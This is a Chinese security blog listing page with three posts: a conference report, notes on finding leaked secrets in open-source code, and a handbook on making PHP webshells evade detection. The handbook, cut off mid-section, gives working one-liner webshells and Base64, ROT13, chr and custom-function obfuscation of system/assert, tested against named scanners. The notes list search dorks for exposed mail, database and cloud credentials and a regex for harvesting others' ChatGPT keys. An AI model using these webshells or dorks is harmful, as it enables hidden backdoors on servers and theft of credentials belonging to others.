首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
对于Spring Boot的渗透姿势
2,748 阅读
2
避坑:Win10环境MS17-010漏洞复现过程
1,548 阅读
3
苛刻条件下:C2上传执行骚姿势
1,453 阅读
4
2023西湖论剑·数字安全大会有感
1,170 阅读
5
PHP从零学习到Webshell免杀手册
1,060 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
曾哥
累计撰写
20
篇文章
累计收到
43
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
8
篇与
的结果
2023-05-12
2023西湖论剑·数字安全大会有感
前言今年终于抽空去参加西湖论剑·数字安全大会了,参加后感触颇多,回来的路上就想着写一篇文章来分享一下此行的收获。但苦于最近事务繁多,直到今日才有闲暇之时来落笔本文,各位师傅见谅。本来我们有四个人一块同行的,我和皓哥、垚垚以及俊哥,可惜中途由于私事,俊哥中途离开了我们回老家了。这是我们三个在西湖论剑的现场合影:PS:横跨整个杭州来参会,脚都要走废了哈哈注明:本文图片比较多,可以往下拉跳过图片,看一下我个人的总结议程介绍西湖论剑·数字安全大会一共举办了四天:5月5日(周五)晚上【线下】、5月6日(周六)全天【线上】、5月7日(周日)全天【线下】、5月8日(周一)全天【线下】,具体可以看西湖论剑官网: https://www.gcsis.cn/agenda/我们主要来参加的是5月5日晚上线下的「格致论道@西湖论剑」和5月7日全天的大会5月5日夜「格致论道@西湖论剑」这个议程,其实与网络安全的关系不大,但是他们的议题吸引到我了(感兴趣可以去看官网的详细信息)这个议程主要着眼于前沿科技领域,尤其是最近爆火的AI人工智能,特别是人工智能下分的大语言数据模型,刚好我对这块前沿科技非常感兴趣,所以就来参加了。以下是该议程的一些图片:《种地不苦,还能很酷》-张玉成-中国科学院计算技术研究所正高级工程师 《成像秘技之隔墙观物》-徐飞虎-中国科学技术大学教授 《大语言模型让我们更聪明还是更愚蠢?》-宗成庆-中国科学院自动化研究所研究员 《圆桌论坛:我们会被AI替代吗?》宗成庆-中国科学院自动化研究所研究员梁文杰-中国科学院物理研究所研究员安通鉴-安恒信息启鉴实验室主任 通过参加「格致论道@西湖论剑」,我发现本次议程当中,7个议题当中有整整4个议题都在直接或间接讨论AI以及大语言数据模型!!!可见以ChatGPT为代表的语言模型对于前沿学术领域带来的非常大的冲击,导致许许多多的研究领域都在转向它。为什么人工智能能在一夜间爆火,并且能引起如此大的全网舆论讨论?我个人认为,这种人工智能大语言模型的出现,尤其是ChatGPT不只有拟人的对话智能,背后还有庞大的数据资料库,这才是关键!有些人可能不以为意:有着庞大数据库又怎么了,训练AI模型不是都要大量数据吗?但,一般训练AI模型的大量数据,只是让它拥有所谓的“智能”,但ChatGPT不仅有“智能”(理解你和它的对话),背后还有整个人类文化科技的资料库存,是海量的数据(从上面的其中一张图可以看到,GPT2.0才使用了15亿数据,到GPT3.0就到1750亿数据)!为什么搜索引擎能成为人们生活中必不可少的东西?是因为它大大减少了人们获取知识或信息的时间,能快速将相关信息的内容做成一个合集摆放到你的面前,让你能进行浏览、归纳和学习。但ChatGPT为首的这种大语言模型,它做的更狠,直接将问题的答案放到了你的面前,甚至不需要你去浏览和归纳,直接会根据你的具体问题内容直接生成对应的答案,改都不用改就能直接用!这意味着什么?能够更快的获得信息,能够自动化处理动态的问题,信息时代的新一轮技术革命正在悄然发生!但于此同时,相关的其他问题也出现在大众视野当中:大语言模型会不会造成学术造假,如何区分界限?以ChatGPT为首的大语言模型理解了整个人类的文化科技资料,会不会产生自主意识?人工智能是否会成为人类自己铸造的“潘多拉魔盒”?以ChatGPT为首的一些AI的崛起,会不会冲击现有的劳动市场?会冲击怎样的行业和岗位?对哪些岗位有相关的助力?同样,这几个问题在后面的《圆桌论坛:我们会被AI替代吗?》或多或少都有提到,但我个人认为,当前人类的AI,还远远达不到真正的“智能”,目前ChatGPT只能用于智能对话和解决问题,还没有做到“超感”(接入传感器,理解并与现实世界交互)和“超知”(出现独立意识,能自我进化),所以没必要对于AI人工智能进行过度恐慌。同样,计算机行业,尤其是程序开发和网络安全领域,受到ChatGPT等AI的冲击将非常大,现在基于ChatGPT的应用非常多,给ChatGPT提需求,它就能给你生成相应的代码和解决方案,照着这样的发展情况,可能不久后会替代一部分需要重复工作或者简单的一些项目架构任务。所以圆桌会议最后提出:大致是,只要你够NB,日常处理工作内容够复杂,就难以被替代。5月7日5月7日,我们主要是参加下午的几个分论坛:「数字中国&安全治理论坛」、「信创软件供应链安全论坛」、「车联网安全论坛」、「工业领域网络和数据安全论坛」、「企业数据安全治理论坛」当时离会场比较近,老早就来了,在主会场稍作休息,然后我出去看了一看,看到会场有个彩蛋:找到三个地方打卡,可以直接参加现场抽奖PS:我运气还不错,抽到一个亚运的娃娃,皓哥运气最好了,直接拿走最贵的席梦思枕头后面还参观了车联网安全板块,和安恒天问车联网安全实验室主任——腹黑大佬交流,还和信睿网络( IOTsec-Zone物联网安全社区 )的色豹大佬线下面基了哈哈~只能说大佬们都太强啦,线下交流学到了很多~这里是物联网安全展示区,分别展示了摄像头、NAS、打印机的漏洞利用和网络安全隐患接下来就是白帽子最喜欢的地方了——极客小镇,各大SRC(度小满和快手应急响应中心等)、长亭科技还有雷神众测的小姐姐都在这里,像我这种社牛直接上前哈哈~PS:zhzyker师傅的 dismap 令人瞩目哈哈,可惜长亭科技的耳东师傅没有来还在极客小镇碰到了One-Fox团队的冰冷咖啡师傅,和师傅聊了聊未来发展规划还在那边碰到了熟人——恶灵姐姐,本来后面打算和她合个影的,但是她好像走了接下来议程开始了,让我们看看各个会场吧: 「车联网安全论坛」 「工业领域网络和数据安全论坛」 其实参加这种安全大会,我们作为网络安全工作者,主要是有以下目的:看最新的政策走向,看最新的网络安全行业趋势,并根据结果做好未来的职业规划或战略转变(如果你是企业家的话)看最新的技术成果,看各家的压轴项目和技术输出做的怎么样,从中得以管中窥豹,得出这个分支行业走到怎么样的阶段了学习前沿的网络安全框架、架构以及思维,从优越的分享者身上学习他们的技巧接下来我谈谈我自己从西湖论剑·数字安全大会上,学到了什么吧。对于接下来要入行的师傅,可以试试物联网安全、数据流动安全和工控安全。物联网安全和工控安全,都需要显著的动手能力,能上手动电路(会操作电烙铁、热风枪等),必须要会汇编语言和反汇编手法,初学者推荐从搞路由器固件的相关漏洞开始学习。数据流动安全,就要从架构和算法两个角度说了,这个具体直接看下图:但对于区块链安全这个前沿领域,我很奇怪为什么此次大会没有提及。想了一下,可能是目前国家还没正式确定允许Web3.0和相关框架在国内发展吧,虽然国家承认区块链这项技术和相关价值,但Web3.0在国内的发展,不仅仅需要区块链技术。笔者最近也在自学区块链安全,这块如果各位师傅感兴趣,后面可以再唠唠~总结好啦,写到这,少说也有一两千字了。感谢各位师傅看到这里,我后续想到什么,会继续补充到这篇文章里面。这次西湖论剑·数字安全大会,确实有行业的前瞻性,同时碰到了很多大佬,有认识的,也有不认识的,和大佬们线下交流学到了很多。让我对安全行业的认知有更加深远的认知,对一些之前不懂的东西,也能有所接触,让我的学习规划也有所改变。
2023年05月12日
1,170 阅读
1 评论
22 点赞
2023-04-01
开源项目信息泄露笔记
目前本文并不完善,后续会持续更新0# 概述与现状当我们对一些项目进行渗透、审计的时候,以及HW红蓝攻防时,对目标的开源项目信息泄露就是重要一环整体现状2020年春,Unit 42研究人员通过GitHub Event API 分析了超过24,000份GitHub公开数据,发现有数千个文件中可能包含敏感信息在24,000份GitHub公开数据中,存在以下泄露:4109个配置文件2464个API密钥2328个硬编码的用户名及密码2144个私钥文件1089个OAuth令牌总体占比高达50.56%,想想开源项目信息泄露有多可怕吧对于企业而言很多企业的开源项目信息泄露,都是企业的实习生或新入职的员工造成的。他们往往会把自己里在公司负责的一个小项目给 push 到 GitHub 上,或者是将长久以来的技术总结文章发到 GitHub 上进行汇总管理,这些文章中难免包含很多公司的数据库配置,网络拓扑,服务器信息等(这种信息泄露在小公司尤为常见)虽然有部分公司选择使用 GitLab 等来自建 Git 远程仓库,但是同样未正确设置仓库权限为私有。导致在 /explorer 中可以看到所有的公开仓库,同时可以通过查看公开的 Groups 来得知有哪些用户,之后可以尝试爆破猜测它们的密码等等可见自建 Git 仓库也并不是万全之计对于个人开发者而言除企业员工外,还有一群就是个人开发者(特别是高校学生),他们的开源项目信息泄露也尤为严重。很多高校学生,平时喜欢自己写些脚本。比如选课脚本、图书馆通知、刷课脚本等开源项目,往往未对相关的代码进行脱敏,就把源码 push 到 GitHub 上。于是,就造成这样的情况:写 Web 应用需要对接数据库,代码里会有 MySQL 的数据库账号配置;要发邮件通知,代码里就有个人学生邮箱账号密码;测试数据里可能还带有个人的常用密码;甚至还有一些校园VPN的账号密码等。有的做得比较大的项目,可能会对接微信小程序、公众号,某教育 App 等第三方应用,甚至一些云厂商的服务,因此还会泄露这些服务的 AK 和 SK。所以,开源项目虽方便了企业和开发者,但其中也埋藏着信息泄露的安全隐患1# Google搜索语法简单的一些Google语法site #指定域名进行搜索,如site:aabyss.cn(收集团队子域名) intext #正文中存在关键字的网页,如intext:管理登录(查找包含“管理员登录”关键词的网页) intitle #标题中存在关键字的网页,如intitle:管理登录(查找后台管理登陆界面) info #一些基本信息 inurl #URL存在关键字的网页,如inurl:file(查找url上含file的网址寻找上传漏洞) filetype #搜索指定文件类型,如filetype:php(查找php类型主页)邮件配置信息泄露很多网站及系统都会使用POP3和SMTP发送来邮件,不少开发者由于安全意识不足会把相关的配置信息也放到Github上。如果这时候我们动用一下Google搜索命令语句,构造一下关键字,就能把这些信息给找出来了。site:Github.com smtp site:Github.com smtp @qq.com site:Github.com smtp @126.com site:Github.com smtp @163.com site:Github.com smtp @sina.com.cn site:Github.com smtp password site:Github.com String password smtp数据库信息泄露site:Github.com sa password #争对SQLServer的信息泄露 site:Github.com root password #争对MySQL的信息泄露 site:Github.com User ID='sa';Password #争对SQLServer的信息泄露Github之svn信息泄露site:Github.com svn site:Github.com svn username site:Github.com svn password site:Github.com svn username password数据库备份文件site:Github.cominurl:sql综合信息泄露site:Github.com password site:Github.com ftp ftppassword site:Github.com 密码 site:Github.com 内部配合用法1、找管理后台地址 site:xxx.com intext:管理|后台|登陆|用户名|密码|系统|账号 site:xxx.com inurl:login/admin/manage/manager/admin_login/system site:xxx.com intitle:管理|后台|登陆 2、找上传类漏洞地址: site:xxx.com inurl:file site:xxx.com inurl:upload 3、找注入页面: site:xxx.com inurl:php?id= 4、找编辑器页面: site:xxx.com inurl:ewebeditor 5、找登录页面 site:xxx.com inurl:"/admin/login.php" 6、查找含有username或password的xls文件 filetype:xls "username | password"2# Github高级搜索网上大部分文章都是使用Google语法来搜索,目前还没看到国内有人使用Github进行高级搜索来查找信息泄露的文章高级搜索链接:https://github.com/search/advanced一般搜索以域名、特殊JS路径、备案、网站的技术支持等关键内容为主,不要局限于域名我们可以活用 GitHub 的高级搜索条件,可以避免很多不必要的干扰,这里就整理了一些:过滤时间pushed:>2020-01-01 created:>2020-01-01使用过滤器过滤掉一些很老的代码筛选代码语言language:java筛选特定语言(诸如Java)的代码,排除搜索结果中静态文件的干扰数据库连接关键词"jdbc:mysql://" "mysqli_connect("搜索数据库连接语句,往往就能有很多公网数据库的账号密码敏感文件名filename:.env filename:bash_history filename:_rsa filename:jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml 这个总能找到一些奇奇怪怪的东西,甚至是数字证书(之前就找到国内某大学的VPN数字证书,然后就通过VPN进入内网)阿里云keyaliyuncs password对于企业而言,可以搜索企业的内网、外网域名,企业邮箱,版权声明(一般会写在代码首部注释),常用包名等思路其实可以放的很广正则表达式关于正则表达式板块,后续会进行相应的更新ChatGPT密钥最近ChatGPT不是火遍海内外吗,很多师傅都想尝试一下同样,格局和思路要打开,通过Github高级语法同样能找到并白嫖ChatGPT密钥 (注:本文仅提供思路,请遵守当地法律进行使用)/"sk-[a-zA-Z0-9]{20,50}"/3# 敏感信息泄露监控工具的推荐关于相关的工具,我这里推荐使用这三个,是我用过感觉蛮好的三个工具各有特点,可以依据使用者的条件和喜好自行选择关于工具的搭建和配置,在百度和Google上很多文章都有写,笔者这里就不重复了GitMAD开源地址: https://github.com/deepdivesec/gitmad GitMAD是一个用于发现Github上的敏感信息和数据泄漏的工具。通过给定关键字或域,GitMAD便会搜索Github上托管的代码,以查找是否存在匹配项。一旦找到了匹配项,GitMAD将克隆存储库并在文件中搜索一系列可配置的正则表达式。然后,GitMAD会获取这些结果,并将它们插入到数据库中供后续的查看使用。这些结果也可作为邮件警报发送。另外,GitMAD将持续运行以发现与输入关键字匹配的新存储库。GSIL开源地址: https://github.com/FeeiCN/GSIL/ 此工具主要用于GitHub敏感信息泄露的监控,可实现邮件实时告警,缺点不是可视化GShark开源地址: https://github.com/madneal/gshark 这是个可视化的监测工具,它不仅可以监控 Github,还可以监控 Gitlab支持多个搜索平台,包括 Github,Gitlab(不稳定支持),Searchcode灵活的菜单以及 API 权限管理灵活的规则以及过滤规则设置支持 gobuster 作为子域名爆破的支持方便易用
2023年04月01日
473 阅读
2 评论
7 点赞
2023-03-18
PHP从零学习到Webshell免杀手册
手册概述手册版本号:V1.0-20230306 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新开源地址: https://github.com/AabyssZG/WebShell-Bypass-Guide 如果师傅们觉得不错,可以给我点个Star哈哈~有什么新的WebShell免杀姿势、手法,欢迎与我交流渊龙Sec安全团队-AabyssZG整理本资料仅供学习参考,严禁使用者进行未授权渗透测试!部分免杀思路来自互联网,欢迎各位师傅和我交流。本文为内部参考资料,仅作学习交流,严禁任何形式的转载。本文档内容为完整版,由渊龙Sec安全团队成员AabyssZG编写。一、PHP相关资料PHP官方手册: https://www.php.net/manual/zh/PHP函数参考: https://www.php.net/manual/zh/funcref.php菜鸟教程: https://www.runoob.com/php/php-tutorial.htmlw3school: https://www.w3school.com.cn/php/index.asp渊龙Sec安全团队导航: https://dh.aabyss.cn二、PHP函数速查0# PHP基础0.0 PHP基础格式<?php //执行的相关PHP代码 ?>这是一个PHP文件的基本形式0.1 .=和+=赋值$a = 'a'; //赋值 $b = 'b'; //赋值 $c = 'c'; //赋值 $c .= $a; $c .= $b; echo $c; //cab.= 通俗的说,就是累积+= 意思是:左边的变量的值加上右边的变量的值,再赋给左边的变量0.2 数组array() 函数用于创建数组$shuzu = array("AabyssZG","AabyssTeam"); echo "My Name is " . $shuzu[0] . ", My Team is " . $shuzu[1] . "."; //My Name is AabyssZG, My Team is AabyssTeam.数组可嵌套:$r = 'b[]=AabyssZG&b[]=system'; $rce = array(); //用array函数新建数组 parse_str($r, $rce); //这个函数下文有讲 print_r($rce);$rce 数组输出为:Array ( [b] => Array ( [0] => AabyssZG [1] => system ) )这时候可以这样利用$rce['b'][1](参数); //提取rce数组中的b数组内容,相当于system(参数) echo $rce['b'][0]; //AabyssZG使用 [] 定义数组$z = ['A','a','b', 'y', 's', 's']; $z[0] = 'A'; $z[1] = 'a'; $z[2] = 'b'; $z[3] = 'y'; $z[4] = 's'; $z[5] = 's';这就是基本的一个数组,数组名为z,数组第一个成员为0,以此类推compact() 函数用于创建数组创建一个包含变量名和它们的值的数组$firstname = "Aabyss"; $lastname = "ZG"; $age = "21"; $result = compact("firstname", "lastname", "age"); print_r($result);数组输出为:Array ( [firstname] => Aabyss [lastname] => ZG [age] => 21 )0.3 连接符. 最简单的连接符$str1="hello"; $str2="world"; echo $str1.$str2; //helloworld0.4 运算符& 运算符加减乘除应该不用我说了吧($var & 1) //如果$var是一个奇数,则返回true;如果是偶数,则返回false逻辑运算符特别是 xor 异或运算符,在一些场合需要用到0.5 常量自定义常量define('-_-','smile'); //特殊符号开头,定义特殊常量 define('wo',3.14); const wo = 3;常量的命名规则常量不需要使用 $ 符号,一旦使用系统就会认为是变量;常量的名字组成由字母、数字和下划线组成,不能以数字开头;常量的名字通常是以大写字母为主,以区别于变量;常量命名的规则比变量要松散,可以使用一些特殊字符,该方式只能使用 define 定义;__FILE__ 常量(魔术常量)__FILE__ //返回文件的完整路径和文件名 dirname(__FILE___) //函数返回的是代码所在脚本的路径 dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(不会返回当前的文件名称)其他魔术常量__DIR__ //当前被执行的脚步所在电脑的绝对路径 __LINE__ //当前所示的行数 __NAMESPACE__ //当前所属的命名空间 __CLASS__ //当前所属的类 __METHOD__ //当前所属的方法0.6 PHP特性PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写在某些环境中,<?php ?> 没有闭合会导致无法正常运作1# 回调类型函数1.0 Tips在PHP的WebSehll免杀测试过程中,使用回调函数可以发现查杀引擎对函数和函数的参数是否有对应的敏感性array_map('system', array('whoami')); //被查杀 array_map($_GET['a'], array('whoami')); //被查杀 array_map('var_dump', array('whoami')); //未被查杀 array_map('system', array($_GET['a'])); //被查杀这里在列举一些回调函数,感兴趣可以自行查找:array_filter() array_walk() array_map() array_reduce() array_walk_recursive() call_user_func_array() call_user_func() filter_var() filter_var_array() registregister_shutdown_function() register_tick_function() forward_static_call_array() uasort() uksort() 1.1 array_map()array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组Demo:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:function myfunction($v) { return($v*$v); } $a=array(1,2,3,4,5); //array(1,4,9,16,25) print_r(array_map("myfunction",$a));1.2 register_shutdown_function()register_shutdown_function() 函数是来注册一个会在PHP中止时执行的函数PHP中止的情况有三种:执行完成exit/die导致的中止发生致命错误中止Demo:后面的after并没有输出,即 exit 或者是 die 方法导致提前中止function test() { echo '这个是中止方法test的输出'; } register_shutdown_function('test'); echo 'before' . PHP_EOL; exit(); echo 'after' . PHP_EOL;输出:before 这个是中止方法test的输出1.3 array_walk()array_walk() 函数对数组中的每个元素应用用户自定义函数Demo:这个很简单,直接看就明白了function myfunction($value,$key,$p) { echo "$key $p $value<br>"; } $a=array("a"=>"red","b"=>"green","c"=>"blue"); array_walk($a,"myfunction","has the value");输出:The key a has the value red The key b has the value green The key c has the value blue1.4 array_filter()array_filter() 函数用回调函数过滤数组中的元素该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)Demo:function test_odd($var) { return($var & 1); } $a1=array("a","b",2,3,4); print_r(array_filter($a1,"test_odd"));输出:Array ( [3] => 3 )2# 字符串处理类函数2.0 Tips可以自己定义函数,组成字符串的拼接方式,比如:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } echo confusion(976534); //sysTem(高危函数)这时候,给 $a 传参为 976534 即可拼接得 system同样,还有很多字符串处理类的函数,可以参考如下:trim() //从字符串的两端删除空白字符和其他预定义字符 ucfirst() //把字符串中的首字符转换为大写 ucwords() //把字符串中每个单词的首字符转换为大写 strtoupper() //把字符串转换为大写 strtolower() //把字符串转换为小写 strtr() //转换字符串中特定的字符 substr_replace() //把字符串的一部分替换为另一个字符串 substr() //返回字符串的一部分 strtok() //把字符串分割为更小的字符串 str_rot13() //对字符串执行 ROT13 编码2.1 substr()substr() 函数返回字符串的一部分Demo:相当于截取字段固定长度和开头的内容echo substr("D://system//451232.php", -10, 6)."<br>"; //451232 echo substr("AabyssTeam", 0, 6)."<br>"; //Aabyss2.2 intval()intval() 获取变量的整数值int intval(var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制 如果 base 是 0,通过检测 var 的格式来决定使用的进制:如果字符串包括了 0x (或 0X) 的前缀,使用 16 进制 (hex);否则,如果字符串以 0 开始,使用 8 进制(octal);否则,将使用 10 进制 (decimal)成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1Demo:获取对应的整数值echo intval(042); // 34 echo intval(0x1A); // 26 echo intval(42); // 42 echo intval(4.2); // 42.3 parse_str()parse_str() 函数把查询字符串解析到变量中Demo:这个也很简单,看看例子就明白了parse_str("name=Peter&age=43"); echo $name."<br>"; //Peter echo $age; //43 parse_str("name=Peter&age=43",$myArray); print_r($myArray); //Array ( [name] => Peter [age] => 43 )3# 命令执行类函数3.0 Tips命令执行类函数在”某些情况“下是非常危险的,所以往往遭到杀毒软件和WAF的重点关注,所以在做免杀的时候,为了绕过污点检测往往都要将命令执行类函数进行拼接、重组、加密、混淆来规避查杀。3.1 eval()eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码Demo:将其中的内容按照PHP代码执行echo 'echo "我想学php"'; //echo "我想学php" eval('echo "我想学php";'); //"我想学php"Demo:一句话木马将参数传到 eval() 函数内执行@eval($_POST['AabyssTeam']);3.2 system()system() 函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)Demo:执行Whoami并回显system('whoami');3.2 exec()exec() 函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中Demo:将 exec() 函数执行的结果导入result数组exec( 'ls' , $result ); print_r($result); //Array ( [0] => index.php )3.3 shell_exec()shell_exec() 函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果Demo:执行 ls 命令echo shell_exec('ls'); //index.php3.4 passthru()passthru() 函数可以执行系统命令并将执行结果输出到页面中与 system() 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可 Demo:执行 ls 命令passthru('ls'); //index.php3.5 popen()popen() 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果故需要配合 fread() 函数来读取命令的执行结果Demo:执行 ls 命令$result = popen('ls', 'r'); //参数1:执行ls命令 参数2:字符串类型 echo fread($result, 100); //参数1:上面生成的资源 参数2:读取100个字节3.6 反引号``反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果可单独使用,也可配合其他命令执行函数使用来绕过参数中的过滤条件Demo:执行 ls 命令echo `ls`; //index.php4# 文件写入类函数4.0 Tips在Webshell的免杀过程中,一部分人另辟蹊径:通过执行一个执行内容为”写入恶意PHP“的样本来绕过查杀,执行成功后会在指定目录写入一个恶意PHP文件,最后通过连接那个恶意PHP文件获得WebShell4.1 fwrite()fwrite() 函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSEDemo:将 Hello World. Testing! 写入 test.txt$file = fopen("test.txt","w"); echo fwrite($file,"Hello World. Testing!"); //21 fclose($file);4.2 file_put_contents()file_put_contents() 函数把一个字符串写入文件中如果文件不存在,将创建一个文件Demo:使用 FILE_APPEND 标记,可以在文件末尾追加内容$file = 'sites.txt'; $site = "\nGoogle"; file_put_contents($file, $site, FILE_APPEND);同时该函数可以配合解密函数写入文件,比如:$datatest = "[文件的base64编码]"; file_put_contents('./要写入的文件名', base64_decode($datatest));5# 异常处理类函数5.0 Tips在PHP的异常处理中,异常处理的相关函数引起了安全行业人员的注意,可以构造相关的异常处理,来绕过WAF的识别和检测。5.1 Exception 类Exception 类是php所有异常的基类,这个类包含如下方法:__construct //异常构造函数 getMessage //获取异常消息内容 getPrevious //返回异常链中的前一个异常,如果不存在则返回null值 getCode //获取异常代码 getFile //获取发生异常的程序文件名称 getLine //获取发生异常的代码在文件中的行号 getTrace //获取异常追踪信息,其返回值是一个数组 getTraceAsString //获取字符串类型的异常追踪信息写个简单的例子方便理解:// 创建一个有异常处理的函数 function checkNum($number) { if($number>1) { throw new Exception("变量值必须小于等于 1"); } return true; } // 在 try 块 触发异常 try { checkNum(2); // 如果抛出异常,以下文本不会输出 echo '如果输出该内容,说明 $number 变量'; } // 捕获异常 catch(Exception $e) { echo 'Message: ' .$e->getMessage() . "<br>" ; echo "错误信息:" . $e->getMessage() . "<br>"; echo "错误码:" . $e->getCode() . "<br>"; echo "错误文件:" . $e->getFile() . "<br>"; echo "错误行数:" . $e->getLine() . "<br>"; echo "前一个异常:" . $e->getPrevious() . "<br>"; echo "异常追踪信息:"; echo "" . print_r($e->getTrace(), true) . "<br>"; echo "报错内容输出完毕"; }运行后输出结果:Message: 变量值必须小于等于 1 错误信息:变量值必须小于等于 1 错误码:0 错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php 错误行数:7 前一个异常: 异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) ) 报错内容输出完毕 ...6# 数据库连接函数6.0 Tips可以尝试通过读取数据库内的内容,来获取敏感关键词或者拿到执行命令的关键语句,就可以拼接到php中执行恶意的代码了。6.1 Sqlite数据库配合我上面写的 file_put_contents() 文件写入函数,先写入本地Sqlite文件然后读取敏感内容$path = "AabyssZG.db"; $db = new PDO("sqlite:" . $path); //连接数据库后查询敏感关键词 $sql_stmt = $db->prepare('select * from test where name="system"'); $sql_stmt->execute(); //提权敏感关键词并进行拼接 $f = substr($sql_stmt->queryString, -7, 6); $f($_GET['aabyss']); //system($_GET['aabyss']);6.2 MySQL数据库这里使用 MySQLi() 这个函数,其实PHP有很多MySQL连接函数,可自行尝试然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中function coon($sql) { $mysqli = new MySQLi("localhost", "test", "test123", "test"); //默认的 MySQL的类,其属性与方法见手册 if ($mysqli - > connect_error) { //connect_error为属性,报错 die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error); // connect_errno:错误编号 } $mysqli - > select_db("test"); //选择数据库 // 返回值 $res 为资源类型(获取到结果的资源类型) $res = $mysqli - > query($sql) or die($mysqli - > error); //释放结果集,关闭连接 $mysqli - > close(); } $sql = "select * from test where name LIKE 'system'"; $arr = coon($sql); $res = array("data" => $arr); echo json_encode($res);7# PHP过滤器三、Webshell免杀学习后的免杀效果学习本手册后,可以达到如下效果,当然这只是拿其中的一个简单的例子进行测试的,感兴趣的可以深入学习并自由组合牧云Webshell检测引擎:微步在线云沙箱:河马WebShell在线查杀:百度WEBDIR+在线查杀:大名鼎鼎的VirusTotal:0# 免杀思路概述首先,要知己知彼,才能针对性做出策略来使得WebShell成功免杀0.1 WebShell查杀思路对于WebShell的查杀思路,大致有以下几种:分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。0.2 WebShell整体免杀思路而对于最常见也是最简单的WebShell,即一句话木马,都是以下形式存在的:而我们要做的是:通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀0.3 WebShell免杀注意点0.3.1 eval() 高危函数eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入0.3.2 assert() 高危函数在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可所以在WebShell免杀这块,我还是更喜欢用 system() 高危函数,以下很多案例都是使用 system() 来最终执行的0.4 WebShell免杀测试渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/VirusTotal: https://www.virustotal.com/gui/home/upload河马WebShell查杀: https://n.shellpub.com/微步在线云沙箱: https://s.threatbook.com/百度WEBDIR+: https://scanner.baidu.com/长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index阿里伏魔引擎: https://xz.aliyun.com/zuesD盾: http://www.d99net.net/网站安全狗: http://free.safedog.cn/website_safedog.html1# 编码绕过这算是早期的免杀手法,可以通过编码来绕过WAF的检测,如下:1.1 Base64编码<?php $f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数 $f($_POST[aabyss]); //assert($_POST[aabyss]); ?>1.2 ASCII编码<?php //ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); $f($_POST['aabyss']); //assert($_POST['aabyss']); ?>1.3 ROT13编码$f = str_rot13('flfgrz'); //解密后为system高危函数 $f($_POST['aabyss']); //system($_POST['aabyss']);当然还有很多其他的编码和加密方式,但常见的编码方式都被放入敏感名单了,会根据加密的形式自动进行解密可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass1.4 Gzip压缩加密我先举一个 phpinfo() 加密后的示例:/*Protected by AabyssZG*/ eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA'))); 加密手法可以看我写的博客: https://blog.zgsec.cn/index.php/archives/147/2# 字符串混淆处理绕过2.1 自定义函数混淆字符串通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(976534); //sysTem(高危函数) $f($_POST['aabyss']); //sysTem($_POST['aabyss']);2.2 